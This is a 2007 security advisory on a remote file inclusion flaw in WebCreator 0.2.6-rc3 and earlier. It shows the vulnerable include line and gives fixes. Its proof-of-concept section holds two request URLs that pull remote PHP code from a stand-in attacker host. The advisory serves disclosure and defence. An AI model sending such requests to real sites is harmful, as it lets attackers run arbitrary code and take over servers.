[ECHO_ADV_74$2007] WebCreator <= 0.2.6-rc3 (moddir) Remote File Inclusion Vulnerability

2007-03-15T00:00:00
ID SECURITYVULNS:DOC:16355
Type securityvulns
Reporter Securityvulns
Modified 2007-03-15T00:00:00

Description

ECHO_ADV_74$2007


[ECHO_ADV_74$2007] WebCreator <= 0.2.6-rc3 (moddir) Remote File Inclusion Vulnerability


Author : Dedi Dwianto a.k.a the_day Date Found : March, 13th 2007 Location : Indonesia, Jakarta web : http://advisories.echo.or.id/adv/adv74-theday-2007.txt Critical Lvl : Highly critical Impact : System access Where : From Remote


Affected software description: ~~~~~~~~~~~~~~~~~~~~~~~~~~

Application : WebCreator version : <= 0.2.6-rc3 URL : http://webcreator.innoxia.cz/


Vulnerability: ~~~~~~~~~~~~

  • Invalid include_once function at mods/content/load.inc.php -----------------------mods/content/load.inc.php------------

<? include_once($moddir . '/functions.lib.php'); ?>


Input passed to the "$moddir" parameter in load.inc.php is not properly verified before being used. This can be exploited to execute arbitrary PHP code by including files from local or external resources.

also affected files :

config/load.inc.php http/load.inc.php

and More ....

Proof Of Concept: ~~~~~~~~~~~~~

http://localhost/mods/config/load.inc.php?moddir=http://atacker.com/inject.txt? http://localhost/mods/http/load.inc.php?moddir=http://atacker.com/inject.txt?

Solution: ~~~~~

  • Sanitize variable $moddir affected files.
  • Turn off register_globals

Shoutz: ~ ~ y3dips,moby,comex,z3r0byt3,K-159,c-a-s-e,S`to,lirva32,anonymous ~ Jessy Nice Girl ~ az001,bomm_3x,matdhule,angelia ~ newbie_hacker@yahoogroups.com ~ #aikmel - #e-c-h-o @irc.dal.net



Contact: ~~ EcHo Research & Development Center http://advisories.echo.or.id erdc[at]echo[dot]or[dot]id the_day[at]echo[dot]or[dot]id

-------------------------------- [ EOF ]----------------------------------